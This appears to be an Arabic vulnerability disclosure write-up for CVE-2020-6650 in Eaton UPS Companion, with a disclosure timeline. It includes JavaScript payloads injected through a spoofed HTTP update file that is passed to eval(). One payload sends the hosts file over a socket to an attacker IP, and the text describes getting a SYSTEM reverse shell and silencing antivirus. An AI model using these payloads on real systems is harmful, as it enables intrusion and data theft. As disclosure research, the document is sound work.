
يصف هذا المستودع الثغرة CVE-2020-6650، وهي ثغرة اكتشفتها في برنامج Eaton's UPS Companion. يجب على جميع المستخدمين الترقية إلى الإصدار v1.06 فورًا، وإلا فإنهم يخاطرون بحصول وصول إداري عن بُعد إلى أنظمتهم.
يتحقق برنامج Eaton UPS Companion من وجود تحديث كل أسبوع عبر اتصال HTTP غير آمن ويقوم بتنفيذ eval() لمحتوى عنوان URL الخاص بالتحديث. وهذا يسمح للمهاجم بصياغة دالة JavaScript تستخدم عمليات نظام التشغيل منخفضة المستوى الموجودة بالفعل في البرنامج الخلفي، مثل تنفيذ الملفات ومآخذ الشبكة وإدخال/إخراج نظام الملفات. تتم كل هذه العمليات بصلاحيات NT AUTHORITY\SYSTEM على الأرجح بسبب الأذونات التي يحتاجها مزود الطاقة غير المنقطعة (UPS) لإدارة النظام. بعد الانتظار لفترة، يحدث حقن أوامر تلقائي يمنح غلاف SYSTEM دون جهد.
تم إصلاح هذا في الإصدار 1.06 ومعرف CVE المخصص هو CVE-2020-6650.
| ملاحظة الخطأ | 2019/10/25 - 21:43 |
| إدراك الاستغلال | 2019/12/28 - 06:28 |
| الإبلاغ إلى إيتون | 2019/12/28 - 10:00 |
| التأكيد | 2019/12/30 - 22:05 |
| إرسال إثبات المفهوم البسيط | 2020/01/04 - 03:32 |
| قيد التصحيح | 2020/01/21 - 12:54 |
| تم التصحيح | 2020/03/21 - 12:21 |
شكرًا لإيتون على جعل الإفصاح عن هذا الاستغلال بسيطًا.
يحصل Eaton UPS Companion على التحديثات من http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
المشكلة 1: يمكن تزويرها بسهولة عبر arpspoof و dnsspoof من dsniff، ثم python -m http.server 80.
المشكلة 2: عدم وجود HTTPS يفتح ناقل هجوم آخر لنفس التأثير.
اعتبارًا من 2019/10/25 - 22:08، هذا هو محتوى الرابط:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
لا يمكن معرفة كيفية حساب المجموع الاختباري SHA1 للملف أو ما يُستخدم لحسابه، ولكن القيام بذلك سيجعل الأمر أبسط بكثير.
يقوم Eaton UPS Companion بإنشاء خادم HTTP محلي على http://localhost:4679.
النقر على "Version: Eaton UPS Companion v1.05" يفتح سجل تصحيح "مخفي" في http://localhost:4679/trace.html.
يمكن فتحه أيضًا عبر ".\mc2.exe -start -debug" في cmd.exe
يؤدي تقديم صفحة HTML فارغة إلى ظهور خطأ بارز يتم تسجيله:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
يتم استخدام eval() هنا، مما يسهل الأمر علينا. فيما يلي مثال على التلاعب بالواجهة،
حيث يذهب المحتوى أدناه إلى update_euc.info.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
يمكن تحويل هذا إلى دالة مناسبة بفضل الدوال المجهولة:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
أعتقد أنه قد يكون هناك إمكانية الوصول إلى ShutdownManager أيضًا، وهذا ليس جيدًا.
الذهاب إلى http://localhost:4679/server/data_srv.js?action=init يكشف المزيد من المعلومات حول كيفية عمل النظام.
دوال JavaScript العادية مثل alert() غير موجودة، والكائنات مثل document و console و object غير موجودة أيضًا.
إصدار قديم جدًا من ECMAScript أو شيء من هذا القبيل؟ لا توجد كلمة let أيضًا، فقط var.
قد يساعد هذا:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
أستطيع رؤية جميع خصائص كائنات "manager" مثل UpdateManager عبر:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
بفعل ذلك على UpdateManager وجدت هذه الوظائف المثيرة للاهتمام:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
هذا يوضح أننا يمكننا التسبب في مشاكل:
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
هناك استدعاءات دوال أكثر فائدة مثل File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") التي تخرج محتوى
ملف hosts إلى سلسلة نصية، ولكن داخليًا فقط. بعد البحث في خصائص كائن HTTPClient، هناك
فئة كائن أخرى تتيح لك إنشاء مآخذ.
على سبيل المثال، لاستقبال ملف hosts:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
في النهاية، اكتشفت كيفية عمل System.open(<file>, <args>)، والتي تقوم بتنفيذ ملف. من هنا، الأمر مجرد رفع
غلاف عكسي، وإسكات أي حل لمكافحة الفيروسات (لدينا صلاحيات SYSTEM)، والحصول على غلاف عكسي.